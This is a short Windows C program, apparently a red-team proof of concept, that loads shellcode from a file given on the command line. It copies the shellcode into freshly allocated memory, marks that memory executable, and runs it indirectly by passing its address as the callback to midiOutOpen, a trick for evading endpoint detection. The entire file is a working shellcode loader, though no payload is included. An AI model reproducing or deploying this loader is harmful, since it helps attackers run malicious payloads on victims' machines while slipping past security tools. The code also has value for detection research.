// Saumyajeet Das
// Written/Compiled: Visual Studio 2022
// Usage: midiOutOpen.exe <shellcode file>
#pragma comment(lib, "winmm.lib")

#include <stdio.h>
#include <Windows.h>
#include <mmsystem.h>

BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize);

INT wmain(INT argc, WCHAR* argv[])
{
    BOOL Ret = FALSE;
    DWORD SCLen = 0;
    PCHAR Shellcode = NULL;
    HMIDIOUT hMidiDevice = NULL;
    PVOID hAlloc = NULL;
    DWORD oldProtect = 0;
    MMRESULT result = MMSYSERR_NOERROR;

    printf("========================================\n");
    printf("    midiOutOpen Shellcode Execution\n");
    printf("========================================\n");

    if (argc != 2)
    {
        printf("[!] Usage: midiOutOpen.exe <shellcode.bin>\n");
        goto CLEANUP;
    }

    printf("[*] Reading shellcode from: %ws\n", argv[1]);
    Sleep(1000);
    Ret = ReadContents(argv[1], &Shellcode, &SCLen);
    if (!Ret)
        goto CLEANUP;

    printf("[*] Allocating memory for shellcode\n");
    Sleep(1000);
    hAlloc = VirtualAlloc(NULL, SCLen,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!hAlloc)
        goto CLEANUP;

    memcpy(hAlloc, Shellcode, SCLen);

    printf("[*] Setting memory permissions to executable\n");
    Sleep(1000);
    Ret = VirtualProtect(hAlloc, SCLen, PAGE_EXECUTE_READ, &oldProtect);
    if (!Ret)
        goto CLEANUP;

    printf("[*] Executing Shellcode \n");
    Sleep(1000);
    result = midiOutOpen(&hMidiDevice, MIDI_MAPPER,
        (DWORD_PTR)hAlloc, 0, CALLBACK_FUNCTION);
    if (result != MMSYSERR_NOERROR)
        goto CLEANUP;


CLEANUP:
    if (hMidiDevice)
        midiOutClose(hMidiDevice);

    if (Shellcode)
        free(Shellcode);

    if (hAlloc)
        VirtualFree(hAlloc, 0, MEM_RELEASE);

    return 0;
}

BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize)
{
    FILE* f = NULL;
    _wfopen_s(&f, Filepath, L"rb");
    if (f)
    {
        fseek(f, 0, SEEK_END);
        *BufferSize = ftell(f);
        fseek(f, 0, SEEK_SET);
        *Buffer = (PCHAR)malloc(*BufferSize);
        if (*Buffer)
        {
            fread(*Buffer, *BufferSize, 1, f);
        }
        fclose(f);
    }

    return (*BufferSize != 0 && *Buffer != NULL) ? TRUE : FALSE;
}